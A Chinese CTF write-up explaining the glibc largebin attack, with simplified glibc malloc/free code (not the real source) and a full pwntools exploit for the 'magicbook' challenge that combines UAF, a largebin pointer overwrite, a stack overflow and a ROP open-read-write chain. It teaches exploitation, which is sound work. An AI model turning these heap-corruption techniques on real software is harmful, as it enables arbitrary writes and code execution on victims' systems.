常回家看看之largebin_attack
先簡單介紹一下什麼是largebin
largebin
是 glibc 的 malloc
實現中用於管理大塊記憶體的一種資料結構。在 glibc 的記憶體分配中,largebin
是 bin
系列的一部分,用於儲存大小超過某個閾值的空閒記憶體塊。largebin
的設計目標是提高記憶體管理的效率,並減少記憶體碎片。
簡單點就是用來管理較大的堆塊的
- 起始大小:
largebin
管理的記憶體塊大小從smallbin
範圍的最大值 + 1 開始。具體來說,smallbin
的最大塊大小是 512 位元組,因此largebin
的起始大小是 513 位元組。 - 無上限:
largebin
的記憶體塊沒有固定的上限。任何大於 512 位元組的空閒記憶體塊都會被插入到適當的largebin
中。 - 當有較大堆塊被釋放的時候,先進入unsortbin,再次進行分配的時候,如果有合適的,則將堆塊分割,剩下的部分仍然進入unsortbin,如果沒有合適的則進入largebin
largebin和其他bin的區別
在 largebin
中,每個大塊記憶體塊除了標準的雙向連結串列指標 fd
(forward)和 bk
(backward)外,還包含額外的指標 fd_nextsize
和 bk_nextsize
。這些指標的作用如下:
fd
和bk
:指向當前連結串列中前後相鄰的記憶體塊,用於維護基本的雙向連結串列。fd_nextsize
和bk_nextsize
:指向按大小排序的前後相鄰記憶體塊,用於維護按大小排序的鏈
作用:
fd_nextsize
:指向當前記憶體塊大小相同或更大的下一個記憶體塊。bk_nextsize
:指向當前記憶體塊大小相同或更小的前一個記憶體塊。
這種結構允許 largebin
維護兩條連結串列:一條是按插入順序排列的連結串列(使用 fd
和 bk
指標),另一條是按大小排序的連結串列(使用 fd_nextsize
和 bk_nextsize
指標)。
Large Bin
的插入順序:
- 按大小排序:首先根據大小從大到小對堆塊進行排序。較小的塊連結在較大的塊之後。
- 按釋放時間排序:對於大小相同的塊,按它們被釋放的時間順序進行排序。先釋放的塊排在前面。
fd_nextsize
和bk_nextsize
指標:- 對於多個大小相同的堆塊,只有第一個塊(即首堆塊)的
fd_nextsize
和bk_nextsize
指標指向其他塊。 - 後續相同大小的堆塊的
fd_nextsize
和bk_nextsize
指標均為 0。
迴圈連結串列:
- 大小最大的塊的
bk_nextsize
指向大小最小的塊。 - 大小最小的塊的
fd_nextsize
指向大小最大的塊。
原理:
- Largebin 是 glibc 記憶體分配器中用於儲存較大記憶體塊的連結串列。每個塊不僅包含指向前後塊的指標 (
fd
和bk
),還包含指向相同大小塊的指標 (fd_nextsize
和bk_nextsize
)。 - 當一個記憶體塊被釋放後,它會被放入適當的 bin 中。如果是大塊,則放入 Largebin。
- 當分配新的記憶體塊時,glibc 會嘗試從適當的 bin 中找到合適的塊進行分配。在 Largebin 中,按大小排序的連結串列有助於快速找到合適的塊。
- 攻擊者可以透過偽造指標,特別是
bk_nextsize
,來控制記憶體分配器的行為,從而實現任意地址寫入。
glibc 原始碼分析
1.當一個塊被釋放並符合 Largebin 條件時,會被放入 Largebin 中。以下是 glibc 中 malloc
和 free
操作的相關部分:
void _int_free(mstate av, mchunkptr p) {
// ... other code ...
// Determine the bin to use
if (chunk_in_largebin_range(size)) {
// Add to Largebin
mchunkptr bck = largebin[bin_index];
mchunkptr fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
// Update nextsize pointers
mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
while (next_chunk != NULL && chunksize(next_chunk) < size) {
next_chunk = next_chunk->fd_nextsize;
}
p->fd_nextsize = next_chunk;
p->bk_nextsize = next_chunk->bk_nextsize;
next_chunk->bk_nextsize = p;
next_chunk->fd_nextsize = p;
}
// ... other code ...
}
2. 修改 bk_nextsize
我們需要找到一種方式修改 Largebin 中塊的 bk_nextsize
欄位。
chunk1->bk_nextsize = Target - 0x20;
3. 分配新塊觸發攻擊
當分配一個新的塊時,glibc 會嘗試找到合適的塊進行分配。在這個過程中,偽造的 bk_nextsize
會被用來更新指標,導致任意地址寫入。
void* _int_malloc(mstate av, size_t bytes) {
// ... other code ...
if (bytes > MAX_SMALLBIN_SIZE) {
// Check Largebin
mchunkptr victim = largebin[bin_index];
if (victim != NULL) {
// Remove from Largebin
mchunkptr bck = victim->bk;
mchunkptr fwd = victim->fd;
bck->fd = fwd;
fwd->bk = bck;
// Update nextsize pointers
mchunkptr next_chunk = victim->fd_nextsize;
next_chunk->bk_nextsize = victim->bk_nextsize;
victim->bk_nextsize->fd_nextsize = next_chunk;
// Allocate the chunk
set_inuse_bit_at_offset(victim, bytes);
return chunk2mem(victim);
}
}
// ... other code ...
}
透過上週的比賽題目可以很好的介紹largebin_attack
題目地址:https://buuoj.cn/match/matches/207/challenges#magicbook
題目保護情況:沒有開canary保護
64位ida逆向
存在3個功能,一個一個看
add,申請堆塊大小和數量都有限制
free,不僅存在UAF,而且還有任意堆塊資料部分+8處0x18位元組寫的功能
edit,如果book處的地址很大存在棧溢位
沙箱保護
思路:透過largebin_attack,將book處的地址變成一個較大的資料(頭指標),然後透過棧溢位,orw讀取資料
1.申請0x450,0x440,0x440(防止合併)大小的三個堆塊
2.釋放第一個堆塊(此時進入unsortbin)
3.申請一個比第一個堆塊大的堆塊(此時進入largebin)
4.釋放第二個堆塊的同時,修改第一個堆塊的bk_nextsize為book-0x20的位置
5.申請一個大堆塊完成largebin_attack
6.棧溢位orw讀取flag
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')
success('puts--->'+hex(libc.sym['system']))
io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060
def add(size):
io.sendlineafter('Your choice:','1')
io.sendlineafter('your book need?',str(size))
def free0(index,ch,msg):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','y')
io.sendlineafter('you want to write?',str(ch))
io.sendafter('content: ',msg)
def free1(index):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','n')
def edit():
io.sendlineafter('Your choice:','3')
book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863 + elf_base # : pop rdi; ret;
pop_rsi = 0x0000000000001861 + elf_base #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1
#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)
edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')
pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret;
syscall = 0x0000000000091316 + libc_bass#: syscall; ret;
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']
payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt)
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)
io.interactive()
總結:
Largebin Attack 利用條件和步驟
利用條件:
-
修改許可權:能夠修改 Largebin 中塊的
bk_nextsize
欄位。 -
堆塊分配:程式能夠分配至少三種不同大小的塊,並確保這些塊緊密相鄰。
利用步驟:
-
分配堆塊:
-
分配一塊大小為
size1
且在 Largebin 範圍內的塊chunk1
。 -
分配一塊任意大小的塊
pad1
,以防止在釋放chunk1
時系統將其與 top chunk 合併。 -
分配一塊大小為
size2
且在 Largebin 範圍內的塊chunk2
,要求size2 < size1
且chunk2
緊鄰chunk1
。 -
分配一塊任意大小的塊
pad2
,以防止在釋放chunk2
時系統將其與 top chunk 合併。
-
-
釋放並重新分配:
-
釋放
chunk1
,此時系統會將其放入 unsortedbin。再分配一個大小為size3
的塊,要求size3 > size1
,此時系統會將chunk1
放進 Largebin 中。 -
確保
chunk2
緊鄰chunk1
。 -
釋放
chunk2
進入 unsortedbin。
-
-
修改指標:
-
修改
chunk1->bk_nextsize
為Target - 0x20
。
-
-
觸發攻擊:
-
隨意分配一個可以進入unsortbin的堆塊,就會觸發 Largebin attack。
-